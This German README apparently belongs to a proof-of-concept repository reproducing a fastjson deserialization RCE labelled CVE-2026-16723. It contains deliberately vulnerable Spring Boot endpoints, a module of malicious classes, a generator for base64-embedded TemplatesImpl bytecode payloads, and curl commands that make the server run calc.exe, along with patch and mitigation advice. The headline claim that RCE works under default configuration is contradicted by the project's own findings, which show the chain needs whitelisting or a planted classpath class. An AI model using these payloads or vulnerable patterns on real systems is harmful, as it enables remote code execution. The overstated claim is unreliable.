
Reproduktionsprojekt für CVE-2026-16723, eine kritische RCE in fastjson 1.2.68-1.2.83. Demonstriert AutoType-Bypass, JNDI-Injection und TemplatesImpl-In-Memory-Payloads mit verwundbaren Spring-Boot-Endpunkten.
Dieses Projekt reproduziert CVE-2026-16723 — eine kritische Remote Code Execution (RCE)-Schwachstelle in fastjson 1.2.68 bis 1.2.83. Die Schwachstelle ermöglicht RCE unter Standardkonfiguration, ohne dass AutoType aktiviert werden muss oder bereits vorhandene Classpath-Gadgets erforderlich sind.
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2026-16723 |
| Komponente | fastjson |
| Betroffene Versionen | 1.2.68 – 1.2.83 |
| Behobene Versionen | 1.2.84+, 2.0.0+ |
| Schwachstellentyp | Deserialisierung / RCE |
| Schweregrad | CVSS 3.1: 9.0 (KRITISCH) |
| Angriffsvektor | Netzwerk |
| Komplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
fastjson-cve-2026-16723/
├── pom.xml # Hauptprojekt (Spring Boot-App mit verwundbarem fastjson)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot-Einstiegspunkt
│ └── controller/
│ └── VulnerableController.java # Verwundbare REST-Endpunkte
├── malicious/ # Separates Modul: bösartiges JAR für Supply-Chain-Simulation
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Bösartige Klasse mit statischem Initialisierer
│ ├── EvilTranslet.java # Bösartiges Translet für TemplatesImpl im In-Memory-Modus
│ └── GenTemplatesPayload.java # Generiert das TemplatesImpl-JSON-Payload
├── templates-payload.json # Generiertes TemplatesImpl-Payload (direkte Variante)
├── templates-payload-preload.json # Generiertes TemplatesImpl-Payload (Class-Preload-Variante)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 enthält einen Bypass im AutoType-Schutzmechanismus. Selbst mit Standardkonfiguration (autoTypeSupport=false) können Angreifer über manipulierte JSON-Payloads beliebige Klassen instanziieren, indem sie Exploit-Ketten wie die folgenden verwenden:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI-Injection)java.lang.Runtime (direkte Befehlsausführung)@type: exploit.MaliciousClass)VulnerableController.java — zwei Endpunkte demonstrieren das Problem:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Verwundbar: JSON.parseObject mit Standardkonfiguration
// Kein ParserConfig.getGlobalInstance().setAutoTypeSupport(true) erforderlich!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Erzwingt Deserialisierung zu Object — löst tatsächliche Klasseninstanziierung aus
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Hauptanwendung erstellen
mvn clean package -DskipTests
# Bösartiges JAR erstellen (separates Modul)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot Fat-JARmalicious/target/malicious-jar-1.0.jar — Bösartiges JAR mit exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Der Server startet unter http://localhost:8080
Laufzeitanforderung: Dieses Projekt zielt auf Java 8 ab, und der TemplatesImpl-In-Memory-Modus ist auf JDK 8 verifiziert. Auf JDK 9+ blockiert das Modulsystem den reflektiven Zugriff auf
java.xml-Interna, sodass die Kette mitError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplfehlschlägt, sofern nicht die--add-opens-Flags hinzugefügt werden:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Die Haupt-pom.xml deklariert das bösartige JAR als Abhängigkeit, sodass es im Fat-JAR gebündelt ist:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Zur Laufzeit verifizieren:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Erwartet: CVE-2026-16723 Reproduction Endpoint Ready...
Das malicious-Modul stellt exploit.MaliciousClass mit einem statischen Initialisierer bereit, der beim Laden der Klasse calc.exe ausführt.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Ergebnis:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
Und calc.exe startet auf dem Server.
Hinweis: Dies demonstriert ein Supply-Chain-Szenario, bei dem eine bösartige Abhängigkeit im Classpath vorhanden ist. Die Schwachstelle ermöglicht die Instanziierung beliebiger Klassen im Classpath, nicht nur von JDK-Klassen.
Im Gegensatz zum Supply-Chain-Modus (der die bösartige Klasse im Classpath benötigt) und zum JNDI-Modus (der einen LDAP/RMI-Server benötigt), bettet dieser Modus den bösartigen Bytecode direkt im Payload ein und lädt ihn aus dem Speicher über com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — es muss nichts zusätzlich bereitgestellt werden.
Schritt 1 — Payload generieren:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Dies kompiliert exploit.EvilTranslet (eine AbstractTranslet-Unterklasse, deren statischer Initialisierer calc.exe ausführt), base64-kodiert dessen .class-Bytes und schreibt:
templates-payload.json — direkte Variante ("@type": "TemplatesImpl")templates-payload-preload.json — java.lang.Class-Preload-VarianteSchritt 2 — Payload auslösen:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Ergebnis:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
Und calc.exe startet auf dem Server.
⚠️ Empirische Erkenntnisse (verifiziert gegen fastjson 1.2.83): Die TemplatesImpl-Kette ist unter reiner Standardkonfiguration nicht auslösbar:
- Das direkte
@type-Payload wird von der AutoType-DenyList abgelehnt (autoType is not support).- Die
java.lang.Class-Preload-Kette scheitert aus zwei Gründen:java.lang.Classselbst steht auf der DenyList (autoType is not support. java.lang.Class), und selbst das Vorladen vonTemplatesImplin die internen Klassen-Zuordnungen umgeht die DenyList nicht — der Mapping-Bypass aus der 1.2.47-Ära ist auf 1.2.83 behoben.- Auch
autoTypeSupport(true)allein reicht nicht: Die DenyList hat Priorität gegenüber dem AutoType-Flag.- Die Kette feuert nur, wenn die Klasse über
ParserConfig.addAccept(...)auf die Whitelist gesetzt wird (die AcceptList hat Priorität gegenüber der DenyList) undFeature.SupportNonPublicFieldaktiviert ist (_bytecodes/_name/_tfactoryvon TemplatesImpl sind private Felder).- Der Endpunkt
/api/deserialize-autotypeimplementiert genau diese Kombination.- Laufzeit: Die Kette ist auf JDK 8 verifiziert. Auf JDK 9+ blockiert das Modulsystem den reflektiven Zugriff auf
java.xml-Interna, sodass die Instanzerstellung mitError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplfehlschlägt, sofern nicht die JVM-Flags aus Ausführen der Anwendung verwendet werden.
| Endpunkt | Verhalten |
|---|---|
POST /api/parse | Parst zu JSONObject — löst möglicherweise keine vollständige Deserialisierung für alle Payloads aus |
POST /api/deserialize | Parst zu Object — erzwingt vollständige Deserialisierung und Klasseninstanziierung (Standardkonfiguration) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — schreibt private Felder, aber die DenyList blockiert TemplatesImpl weiterhin |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — löst die TemplatesImpl-In-Memory-Kette aus |
Für den Exploit mit der bösartigen Klasse ist /api/deserialize erforderlich, um den statischen Initialisierer auszulösen.
Upgrade von fastjson auf eine gepatchte Version:
<!-- Option 1: fastjson 1.x (empfohlen für 1.x-Benutzer) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Option 2: fastjson 2.x (empfohlen für neue Projekte) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// AutoType global deaktivieren (teilweise Schadensbegrenzung — Exploit-Ketten können weiterhin umgangen werden)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Oder safeMode verwenden (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
Dieses Projekt dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken.
- Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
- Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieses Codes entstehen.
- Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken, wenn Sie Schwachstellen entdecken.
- Diese Reproduktion verwendet ein harmloses Payload (
calc.exe) zur Demonstration; echte Exploits können schwerwiegenden Schaden verursachen.
Dieses Projekt wird wie besehen für Sicherheitsforschung bereitgestellt. Keine ausdrückliche oder stillschweigende Garantie.